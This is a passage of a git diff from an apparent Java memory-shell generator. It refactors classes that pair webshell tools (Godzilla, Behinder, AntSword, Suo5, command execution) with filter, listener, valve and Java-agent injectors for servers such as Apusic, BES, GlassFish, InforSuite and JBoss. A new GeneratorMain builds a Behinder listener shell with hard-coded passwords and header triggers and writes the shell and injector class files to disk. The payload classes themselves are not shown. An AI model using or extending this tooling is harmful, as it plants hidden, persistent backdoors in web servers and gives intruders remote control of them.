shellToolConfig); - } - - @SneakyThrows - public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packers packerInstance) { - GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig); - if (generateResult != null) { - return packerInstance.getInstance().pack(generateResult); - } - return null; - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java deleted file mode 100644 index c1ecd468..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java +++ /dev/null @@ -1,107 +0,0 @@ -package com.reajason.javaweb.memshell; - -import com.reajason.javaweb.memshell.config.*; -import com.reajason.javaweb.memshell.generator.*; -import org.apache.commons.lang3.tuple.Pair; - -import java.util.Collections; -import java.util.List; -import java.util.Map; -import java.util.stream.Collectors; - -/** - * @author ReaJason - * @since 2024/12/7 - */ -public abstract class AbstractShell { - /** - * 获取内存马功能所支持的注入类型列表 - * - * @param tool 内存马功能 - * @return shellTypes - */ - public List getSupportedShellTypes(ShellTool tool) { - return switch (tool) { - case Godzilla -> getGodzillaShellMap().keySet().stream().toList(); - case Command -> getCommandShellMap().keySet().stream().toList(); - case Behinder -> getBehinderShellMap().keySet().stream().toList(); - case Suo5 -> getSuo5ShellMap().keySet().stream().toList(); - case AntSword -> getAntSwordShellMap().keySet().stream().toList(); - default -> Collections.emptyList(); - }; - } - - public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) { - Pair, Class> shellInjectorPair = getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType()); - if (shellInjectorPair == null) { - throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType()); - } - Class shellClass = shellInjectorPair.getLeft(); - Class injectorClass = shellInjectorPair.getRight(); - - shellToolConfig.setShellClass(shellClass); - - byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig); - - injectorConfig = injectorConfig - .toBuilder() - .injectorClass(injectorClass) - .shellClassName(shellToolConfig.getShellClassName()) - .shellClassBytes(shellBytes).build(); - - byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate(); - - return GenerateResult.builder() - .shellConfig(shellConfig) - .shellToolConfig(shellToolConfig) - .injectorConfig(injectorConfig) - .shellClassName(shellToolConfig.getShellClassName()) - .shellBytes(shellBytes) - .injectorClassName(injectorConfig.getInjectorClassName()) - .injectorBytes(injectorBytes) - .build(); - } - - protected Map, Class>> getGodzillaShellMap() { - return Collections.emptyMap(); - } - - protected Map, Class>> getCommandShellMap() { - return Collections.emptyMap(); - } - - protected Map, Class>> getBehinderShellMap() { - return Collections.emptyMap(); - } - - protected Map, Class>> getSuo5ShellMap() { - return Collections.emptyMap(); - } - - protected Map, Class>> getAntSwordShellMap() { - return Collections.emptyMap(); - } - - private Pair, Class> getShellInjectorPair(ShellTool shellTool, String shellType) { - Map, Class>> shellMap = switch (shellTool) { - case Godzilla -> getGodzillaShellMap(); - case Command -> getCommandShellMap(); - case Behinder -> getBehinderShellMap(); - case Suo5 -> getSuo5ShellMap(); - case AntSword -> getAntSwordShellMap(); - default -> throw new UnsupportedOperationException("Unknown shell type: " + shellType); - }; - return shellMap.get(shellType); - } - - private byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) { - return switch (shellConfig.getShellTool()) { - case Godzilla -> new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes(); - case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig); - case Behinder -> new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes(); - case Suo5 -> new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes(); - case AntSword -> new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes(); - default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool()); - }; - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ApusicShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/ApusicShell.java deleted file mode 100644 index 6af734de..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ApusicShell.java +++ /dev/null @@ -1,77 +0,0 @@ -package com.reajason.javaweb.memshell; - -import com.reajason.javaweb.memshell.apusic.antsword.AntSwordListener; -import com.reajason.javaweb.memshell.apusic.behinder.BehinderListener; -import com.reajason.javaweb.memshell.apusic.command.CommandListener; -import com.reajason.javaweb.memshell.apusic.godzilla.GodzillaListener; -import com.reajason.javaweb.memshell.apusic.injector.ApusicFilterInjector; -import com.reajason.javaweb.memshell.apusic.injector.ApusicListenerInjector; -import com.reajason.javaweb.memshell.apusic.injector.ApusicServletInjector; -import com.reajason.javaweb.memshell.apusic.suo5.Suo5Listener; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; -import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; -import org.apache.commons.lang3.tuple.Pair; - -import java.util.LinkedHashMap; -import java.util.Map; - -import static com.reajason.javaweb.memshell.config.Constants.*; - -/** - * @author ReaJason - * @since 2024/12/27 - */ -public class ApusicShell extends AbstractShell { - @Override - protected Map, Class>> getCommandShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(CommandServlet.class, ApusicServletInjector.class)); - map.put(FILTER, Pair.of(CommandFilter.class, ApusicFilterInjector.class)); - map.put(LISTENER, Pair.of(CommandListener.class, ApusicListenerInjector.class)); - return map; - } - - @Override - protected Map, Class>> getGodzillaShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(GodzillaServlet.class, ApusicServletInjector.class)); - map.put(FILTER, Pair.of(GodzillaFilter.class, ApusicFilterInjector.class)); - map.put(LISTENER, Pair.of(GodzillaListener.class, ApusicListenerInjector.class)); - return map; - } - - @Override - protected Map, Class>> getBehinderShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(BehinderServlet.class, ApusicServletInjector.class)); - map.put(FILTER, Pair.of(BehinderFilter.class, ApusicFilterInjector.class)); - map.put(LISTENER, Pair.of(BehinderListener.class, ApusicListenerInjector.class)); - return map; - } - - @Override - protected Map, Class>> getSuo5ShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(Suo5Servlet.class, ApusicServletInjector.class)); - map.put(FILTER, Pair.of(Suo5Filter.class, ApusicFilterInjector.class)); - map.put(LISTENER, Pair.of(Suo5Listener.class, ApusicListenerInjector.class)); - return map; - } - - @Override - protected Map, Class>> getAntSwordShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(AntSwordServlet.class, ApusicServletInjector.class)); - map.put(FILTER, Pair.of(AntSwordFilter.class, ApusicFilterInjector.class)); - map.put(LISTENER, Pair.of(AntSwordListener.class, ApusicListenerInjector.class)); - return map; - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java deleted file mode 100644 index e46fd0eb..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java +++ /dev/null @@ -1,88 +0,0 @@ -package com.reajason.javaweb.memshell; - -import com.reajason.javaweb.memshell.bes.antsword.AntSwordValve; -import com.reajason.javaweb.memshell.bes.behinder.BehinderValve; -import com.reajason.javaweb.memshell.bes.command.CommandValve; -import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve; -import com.reajason.javaweb.memshell.bes.injector.*; -import com.reajason.javaweb.memshell.bes.suo5.Suo5Valve; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; -import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener; -import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; -import com.reajason.javaweb.memshell.tomcat.command.CommandListener; -import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; -import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener; -import org.apache.commons.lang3.tuple.Pair; - -import java.util.LinkedHashMap; -import java.util.Map; - -import static com.reajason.javaweb.memshell.config.Constants.*; - -/** - * @author ReaJason - * @since 2024/12/26 - */ -public class BesShell extends AbstractShell { - - @Override - protected Map, Class>> getCommandShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(CommandFilter.class, BesFilterInjector.class)); - map.put(LISTENER, Pair.of(CommandListener.class, BesListenerInjector.class)); - map.put(VALVE, Pair.of(CommandValve.class, BesValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, BesFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, BesContextValveAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getGodzillaShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(GodzillaFilter.class, BesFilterInjector.class)); - map.put(LISTENER, Pair.of(GodzillaListener.class, BesListenerInjector.class)); - map.put(VALVE, Pair.of(GodzillaValve.class, BesValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, BesFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, BesContextValveAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getBehinderShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(BehinderFilter.class, BesFilterInjector.class)); - map.put(LISTENER, Pair.of(BehinderListener.class, BesListenerInjector.class)); - map.put(VALVE, Pair.of(BehinderValve.class, BesValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, BesFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, BesContextValveAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getSuo5ShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(Suo5Filter.class, BesFilterInjector.class)); - map.put(LISTENER, Pair.of(Suo5Listener.class, BesListenerInjector.class)); - map.put(VALVE, Pair.of(Suo5Valve.class, BesValveInjector.class)); - return map; - } - - @Override - protected Map, Class>> getAntSwordShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(AntSwordFilter.class, BesFilterInjector.class)); - map.put(LISTENER, Pair.of(AntSwordListener.class, BesListenerInjector.class)); - map.put(VALVE, Pair.of(AntSwordValve.class, BesValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, BesFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, BesContextValveAgentInjector.class)); - return map; - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/GeneratorMain.java b/generator/src/main/java/com/reajason/javaweb/memshell/GeneratorMain.java new file mode 100644 index 00000000..b5a5cc41 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/GeneratorMain.java @@ -0,0 +1,118 @@ +package com.reajason.javaweb.memshell; + +import com.reajason.javaweb.memshell.config.*; +import com.reajason.javaweb.memshell.generator.*; +import com.reajason.javaweb.memshell.server.AbstractShell; +import com.reajason.javaweb.memshell.utils.CommonUtil; +import net.bytebuddy.jar.asm.Opcodes; +import org.apache.commons.lang3.StringUtils; +import org.apache.commons.lang3.tuple.Pair; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.nio.file.StandardOpenOption; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +public class GeneratorMain { + + public static void main(String[] args) throws IOException { + ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Apusic) + .shellTool(ShellTool.Behinder) + .shellType(ShellType.LISTENER) + .targetJreVersion(Opcodes.V1_8) + .debug(true) + .build(); + GodzillaConfig godzillaConfig = GodzillaConfig.builder() + .pass("pass") + .key("key") + .headerName("User-Agent") + .headerValue("test123").build(); + CommandConfig commandConfig = CommandConfig.builder().paramName("listener").build(); + + BehinderConfig behinderConfig = BehinderConfig.builder() + .pass("test123") + .headerName("User-Agent") + .headerValue("test").build(); + + Suo5Config suo5Config = Suo5Config.builder() + .headerName("User-Agent") + .headerValue("test").build(); + + InjectorConfig injectorConfig = new InjectorConfig(); + + GenerateResult generateResult = generate(shellConfig, injectorConfig, behinderConfig); + if (generateResult != null) { + Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW); + Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW); +// System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes())); +// System.out.println(Packers.ScriptEngine.getInstance().pack(generateResult)); +// Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult)); + } + } + + public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) { + Server server = shellConfig.getServer(); + AbstractShell shell = server.getShell(); + if (shell == null) { + throw new IllegalArgumentException("Unsupported server"); + } + if (StringUtils.isBlank(shellToolConfig.getShellClassName())) { + shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType())); + } + + if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) { + injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName()); + } + + Pair, Class> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType()); + if (shellInjectorPair == null) { + throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType()); + } + Class shellClass = shellInjectorPair.getLeft(); + Class injectorClass = shellInjectorPair.getRight(); + + shellToolConfig.setShellClass(shellClass); + + byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig); + + injectorConfig = injectorConfig + .toBuilder() + .injectorClass(injectorClass) + .shellClassName(shellToolConfig.getShellClassName()) + .shellClassBytes(shellBytes).build(); + + byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate(); + + return GenerateResult.builder() + .shellConfig(shellConfig) + .shellToolConfig(shellToolConfig) + .injectorConfig(injectorConfig) + .shellClassName(shellToolConfig.getShellClassName()) + .shellBytes(shellBytes) + .injectorClassName(injectorConfig.getInjectorClassName()) + .injectorBytes(injectorBytes) + .build(); + } + + private static byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) { + switch (shellConfig.getShellTool()) { + case Godzilla: + return new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes(); + case Command: + return CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig); + case Behinder: + return new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes(); + case Suo5: + return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes(); + case AntSword: + return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes(); + default: + throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool()); + } + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java deleted file mode 100644 index d699b88c..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java +++ /dev/null @@ -1,104 +0,0 @@ -package com.reajason.javaweb.memshell; - -import com.reajason.javaweb.memshell.glassfish.antsword.AntSwordListener; -import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener; -import com.reajason.javaweb.memshell.glassfish.command.CommandListener; -import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener; -import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector; -import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector; -import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector; -import com.reajason.javaweb.memshell.glassfish.suo5.Suo5Listener; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.command.CommandValve; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve; -import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector; -import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector; -import org.apache.commons.lang3.tuple.Pair; - -import java.util.LinkedHashMap; -import java.util.Map; - -import static com.reajason.javaweb.memshell.config.Constants.*; - -/** - * @author ReaJason - * @since 2024/12/12 - */ -public class GlassFishShell extends AbstractShell { - - @Override - protected Map, Class>> getCommandShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class)); - map.put(LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class)); - map.put(VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class)); - map.put(JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getGodzillaShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class)); - map.put(LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class)); - map.put(VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class)); - map.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getBehinderShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class)); - map.put(LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class)); - map.put(VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class)); - map.put(JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getSuo5ShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(Suo5Filter.class, GlassFishFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, GlassFishFilterInjector.class)); - map.put(LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class)); - map.put(VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class)); - map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class)); - return map; - } - - @Override - protected Map, Class>> getAntSwordShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(AntSwordFilter.class, GlassFishFilterInjector.class)); - map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class)); - map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); - return map; - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/InforSuiteShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/InforSuiteShell.java deleted file mode 100644 index 89121848..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/InforSuiteShell.java +++ /dev/null @@ -1,104 +0,0 @@ -package com.reajason.javaweb.memshell; - -import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector; -import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector; -import com.reajason.javaweb.memshell.inforsuite.injector.InforSuiteFilterInjector; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.command.CommandValve; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve; -import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener; -import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; -import com.reajason.javaweb.memshell.tomcat.command.CommandListener; -import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; -import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector; -import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector; -import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener; -import org.apache.commons.lang3.tuple.Pair; - -import java.util.LinkedHashMap; -import java.util.Map; - -import static com.reajason.javaweb.memshell.config.Constants.*; - -/** - * @author ReaJason - * @since 2024/12/24 - */ -public class InforSuiteShell extends AbstractShell { - - @Override - protected Map, Class>> getCommandShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(CommandFilter.class, InforSuiteFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, InforSuiteFilterInjector.class)); - map.put(LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class)); - map.put(VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class)); - map.put(JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getGodzillaShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(GodzillaFilter.class, InforSuiteFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, InforSuiteFilterInjector.class)); - map.put(LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class)); - map.put(VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class)); - map.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getBehinderShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(BehinderFilter.class, InforSuiteFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, InforSuiteFilterInjector.class)); - map.put(LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class)); - map.put(VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class)); - map.put(JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getSuo5ShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(Suo5Filter.class, InforSuiteFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, InforSuiteFilterInjector.class)); - map.put(LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class)); - map.put(VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class)); - map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class)); - return map; - } - - @Override - protected Map, Class>> getAntSwordShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(AntSwordFilter.class, InforSuiteFilterInjector.class)); - map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class)); - map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); - return map; - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java deleted file mode 100644 index 86e58df1..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java +++ /dev/null @@ -1,92 +0,0 @@ -package com.reajason.javaweb.memshell; - -import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector; -import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector; -import com.reajason.javaweb.memshell.jboss.injector.JbossValveInjector; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; -import 